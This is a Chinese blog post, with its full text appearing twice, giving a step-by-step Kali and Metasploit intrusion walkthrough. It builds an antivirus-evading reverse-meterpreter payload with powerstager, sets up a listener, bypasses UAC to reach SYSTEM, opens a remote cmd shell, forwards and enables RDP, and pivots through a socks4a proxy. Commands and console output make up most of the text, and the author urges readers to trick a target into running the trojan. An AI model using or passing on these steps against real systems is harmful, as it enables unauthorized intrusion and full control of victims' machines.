KALI 内网渗透记录
前期准备
虚拟机 KALI: 192.168.180.128
目标机器: 192.168.1.52
初始化
执行下面命令 进行初始化
# msfdb init
# service postgresql start
免杀木马制作
安装powerstager
制作免杀shell
# apt-get install python3
# apt-get install mingw-w64
# git clone https://github.com/z0noxz/powerstager
# cd powerstager
# ./setup.py install
开始生成木马
# python3 powerstager.py -m -t win64 --lhost=192.168.180.128 --lport=9055 -o /root/payload.exe
注意: 需要将 lhost
和 lport
改成你自己的 IP
和 端口号
,然后尽你自己的能力想把发让对方运行的木马。
msfconsole设置监听
在终端
运行msfconsole
命令后键入以下内容
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.180.128
lhost => 192.168.180.128
msf5 exploit(multi/handler) > set lport 9055
lport => 9055
msf5 exploit(multi/handler) >
简单来看就四条命令
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.180.128
set lport 9055
这里的lhost
和 lport
与上面的木马和你本机要相对应 然后我们执行 exploit
来发起监听木马上线。
注: exploit -j -z
命令可在后台持续监听木马上线。
拿到 shell
后我们会进入到 这样的命令状态
meterpreter >
为了防止木马被关闭我们执行 进程转移
命令
meterpreter > run post/windows/manage/migrate
权限提升
首先我们来看一下刚获得的 shell会话
是什么权限
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
输入 getuid
来查看当前的用户权限,我这里为 NT AUTHORITYSYSTEM
是属于管理员权限
因为我已经提过权限了。
那么来下我们看一下怎么提升 会话权限
跟着输入以下指令
preter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwr
msf5 exploit(windows/local/bypassuac_eventvwr) > set LHOST 192.168.180.128
LHOST => 192.168.180.128
msf5 exploit(windows/local/bypassuac_eventvwr) > set LPORT 9055
LPORT => 9055
msf5 exploit(windows/local/bypassuac_eventvwr) >set target 1
target => 1
msf5 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_eventvwr) >
具体命令如下
background #将当前会话置入后台
use exploit/windows/local/bypassuac_eventvwr #提权模块
set LHOST 192.168.180.128 #设置本机IP
set LPORT 9055 #设置本机监听端口
set target 1 #target 1为64位机器 0位32机器
set session 1 #会话的ID 同 session -i 可以查看对应会话的ID
set payload windows/meterpreter/reverse_tcp #设置 payload 因为太长了 上面我就没放出来
通过输入命令 exploit
来执行提权,如果顺利的话我们是可以得到一个 新的会话
的,我们通过 session -i
查看新会话的 id
然后通过 session id
来进入会话。
进入新的会话后我们接着执行 getsystem
和 getuid
来获取和查看 管理员权限
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter >
我们输入shell
可进入对方的 cmd
由于进入后是处于中文乱码状态 所以我们要输入 chcp 65001
来改变字符编码。
meterpreter > shell
Process 10340 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.18363.418]
(c) 2019 Microsoft Corporation����������Ȩ����
C:windowssystem32>chcp 65001
chcp 65001
Active code page: 65001
C:windowssystem32>
管理员权限都拿到了剩下的就看你们自己发挥了。
端口转发
我们拿到 会话
后可以将 目标机器端口
转发到 本地端口
上。
meterpreter > portfwd add -l 6666 -r 192.168.1.52 -p 3389
[*] Local TCP relay created: :6666 <-> 192.168.1.52:3389
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 0.0.0.0:6666 192.168.1.52:3389 Forward
1 total active port forwards.
meterpreter >
使用 portfwd
命令来转发 portfwd add -l 本地端口 -r 目标IP -p 目标端口
。
在这里我对对方的 3389
端口进行了转发 通过 rdesktop 127.0.0.1:6666
即可 远程对方的电脑桌面
如果对方并没有开启 远程桌面端口
的话我们可以这个命令打开远程端口
meterpreter > run post/windows/manage/enable_rdp
socks4a代理
首先我们将 会话
置于 后台
meterpreter > background
然后使用模块
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf5 auxiliary(server/socks4a) >
具体操作命令如下
background #会话放到后台
use auxiliary/server/socks4a #使用 socks4a 模块
show options #查看选项
exploit -y #执行 这些命令直接挨个输入 敲回车 无需更改
查看是否监听1080端口
成功
bystart@bystart:~$ netstat -an | grep "1080"
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN
bystart@bystart:~$
接着我们编辑 proxychains.conf
配置文件
bystart@bystart:~$ sudo nano /etc/proxychains.conf
#配置修改如下:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1080
然后我们就可以通过 proxychains 命令
来进行通过代理访问 例如:
bystart@bystart:~$ proxychains nmap 192.168.1.191 -p 21,22,23,24,25,80,445,8080
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 16:01 CST
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:80-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:22-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:8080-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:445-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:25-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:80-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:21-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:23-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:24-<--denied
Nmap scan report for 192.168.1.191
Host is up (4.6s latency).
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
24/tcp closed priv-mail
25/tcp open smtp
80/tcp closed http
445/tcp closed microsoft-ds
8080/tcp closed http-proxy
Nmap done: 1 IP address (1 host up) scanned in 40.15 seconds
更多的使用方法就不再详细介绍了。
我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=30ebzrop8zk0k###前期准备
虚拟机 KALI: 192.168.180.128
目标机器: 192.168.1.52
初始化
执行下面命令 进行初始化
# msfdb init
# service postgresql start
免杀木马制作
安装powerstager
制作免杀shell
# apt-get install python3
# apt-get install mingw-w64
# git clone https://github.com/z0noxz/powerstager
# cd powerstager
# ./setup.py install
开始生成木马
# python3 powerstager.py -m -t win64 --lhost=192.168.180.128 --lport=9055 -o /root/payload.exe
注意: 需要将 lhost
和 lport
改成你自己的 IP
和 端口号
,然后尽你自己的能力想把发让对方运行的木马。
msfconsole设置监听
在终端
运行msfconsole
命令后键入以下内容
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.180.128
lhost => 192.168.180.128
msf5 exploit(multi/handler) > set lport 9055
lport => 9055
msf5 exploit(multi/handler) >
简单来看就四条命令
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.180.128
set lport 9055
这里的lhost
和 lport
与上面的木马和你本机要相对应 然后我们执行 exploit
来发起监听木马上线。
注: exploit -j -z
命令可在后台持续监听木马上线。
拿到 shell
后我们会进入到 这样的命令状态
meterpreter >
为了防止木马被关闭我们执行 进程转移
命令
meterpreter > run post/windows/manage/migrate
权限提升
首先我们来看一下刚获得的 shell会话
是什么权限
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
输入 getuid
来查看当前的用户权限,我这里为 NT AUTHORITYSYSTEM
是属于管理员权限
因为我已经提过权限了。
那么来下我们看一下怎么提升 会话权限
跟着输入以下指令
preter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwr
msf5 exploit(windows/local/bypassuac_eventvwr) > set LHOST 192.168.180.128
LHOST => 192.168.180.128
msf5 exploit(windows/local/bypassuac_eventvwr) > set LPORT 9055
LPORT => 9055
msf5 exploit(windows/local/bypassuac_eventvwr) >set target 1
target => 1
msf5 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_eventvwr) >
具体命令如下
background #将当前会话置入后台
use exploit/windows/local/bypassuac_eventvwr #提权模块
set LHOST 192.168.180.128 #设置本机IP
set LPORT 9055 #设置本机监听端口
set target 1 #target 1为64位机器 0位32机器
set session 1 #会话的ID 同 session -i 可以查看对应会话的ID
set payload windows/meterpreter/reverse_tcp #设置 payload 因为太长了 上面我就没放出来
通过输入命令 exploit
来执行提权,如果顺利的话我们是可以得到一个 新的会话
的,我们通过 session -i
查看新会话的 id
然后通过 session id
来进入会话。
进入新的会话后我们接着执行 getsystem
和 getuid
来获取和查看 管理员权限
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter >
我们输入shell
可进入对方的 cmd
由于进入后是处于中文乱码状态 所以我们要输入 chcp 65001
来改变字符编码。
meterpreter > shell
Process 10340 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.18363.418]
(c) 2019 Microsoft Corporation����������Ȩ����
C:windowssystem32>chcp 65001
chcp 65001
Active code page: 65001
C:windowssystem32>
管理员权限都拿到了剩下的就看你们自己发挥了。
端口转发
我们拿到 会话
后可以将 目标机器端口
转发到 本地端口
上。
meterpreter > portfwd add -l 6666 -r 192.168.1.52 -p 3389
[*] Local TCP relay created: :6666 <-> 192.168.1.52:3389
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 0.0.0.0:6666 192.168.1.52:3389 Forward
1 total active port forwards.
meterpreter >
使用 portfwd
命令来转发 portfwd add -l 本地端口 -r 目标IP -p 目标端口
。
在这里我对对方的 3389
端口进行了转发 通过 rdesktop 127.0.0.1:6666
即可 远程对方的电脑桌面
如果对方并没有开启 远程桌面端口
的话我们可以这个命令打开远程端口
meterpreter > run post/windows/manage/enable_rdp
socks4a代理
首先我们将 会话
置于 后台
meterpreter > background
然后使用模块
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf5 auxiliary(server/socks4a) >
具体操作命令如下
background #会话放到后台
use auxiliary/server/socks4a #使用 socks4a 模块
show options #查看选项
exploit -y #执行 这些命令直接挨个输入 敲回车 无需更改
查看是否监听1080端口
成功
bystart@bystart:~$ netstat -an | grep "1080"
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN
bystart@bystart:~$
接着我们编辑 proxychains.conf
配置文件
bystart@bystart:~$ sudo nano /etc/proxychains.conf
#配置修改如下:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1080
然后我们就可以通过 proxychains 命令
来进行通过代理访问 例如:
bystart@bystart:~$ proxychains nmap 192.168.1.191 -p 21,22,23,24,25,80,445,8080
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 16:01 CST
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:80-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:22-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:8080-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:445-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:25-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:80-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:21-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:23-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:24-<--denied
Nmap scan report for 192.168.1.191
Host is up (4.6s latency).
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
24/tcp closed priv-mail
25/tcp open smtp
80/tcp closed http
445/tcp closed microsoft-ds
8080/tcp closed http-proxy
Nmap done: 1 IP address (1 host up) scanned in 40.15 seconds
更多的使用方法就不再详细介绍了。
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 质量保障的方法和实践
- Selenium4 IDE,它终于来了
- strtol函数的用法——字符串转长整形
- JsonPath工具类封装
- Ubuntu16.04 实时内核 RT Preempt 安装
- c语言实现整数转换为字符串——不考虑负数
- JsonPath工具类单元测试
- Selenium4 IDE特性:无代码趋势和SIDE Runner
- 浮点数转成字符串函数gcvt()
- moco固定QPS接口升级补偿机制
- 大小端示例-arm c51
- #define的一个小技巧
- 干货 | 手把手教你用115行代码做个数独解析器!
- Ubuntu18.04 ROS安装小记
- 面试题系列第7篇:Java方法到底是值传递还是引用传递?